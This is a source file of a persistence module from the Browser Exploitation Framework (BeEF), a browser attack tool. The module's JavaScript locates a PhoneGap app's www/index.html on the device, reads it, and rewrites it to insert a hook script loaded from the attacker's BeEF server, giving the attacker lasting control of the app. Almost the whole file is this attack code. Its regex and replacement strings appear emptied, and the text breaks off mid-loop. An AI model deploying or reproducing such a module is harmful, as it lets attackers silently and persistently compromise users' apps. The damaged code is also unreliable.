// // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // persistence // beef.execute(function() { // insert hook into index.html // // 1. locate index.html // 2. read it in // 3. add our hook // 4. write it back out to same location // 1. locate index.html // // list dirs under current dir // one should be something.app // inside that should be a www dir and in that an index.html // // write the file with new hook function write_file(text) { function fail () { beef.debug('write_file fail') } function gotFileWriter(writer) { writer.onwrite = function(evt) { beef.debug("write success"); } writer.write(text); } function gotFileEntry(fileEntry) { fileEntry.createWriter(gotFileWriter, fail); } function gotFS(fileSystem) { fileSystem.root.getFile("../"+window.tmpfilename+"/www/index.html", null, gotFileEntry, fail); } window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); } // find
and insert our hook. function replace_text(text) { re = new RegExp("", "g"); hook_url = '<%== @hook_url %>'; new_text = text.replace(re, "") write_file(new_text); } function read_index(app_name) { function fail () { beef.debug('read_index fail') } function readFile(file) { var reader = new FileReader(); reader.onloadend = function(evt) { //beef.debug("Read as text"); beef.debug(evt.target.result); replace_text(evt.target.result); }; reader.readAsText(file); } function gotFileEntry(fileEntry) { fileEntry.file(readFile, fail); } function gotFS(fileSystem) { fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail); } window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); } function locate() { function result(entries) { beef.debug('result'); var i; for (i=0; i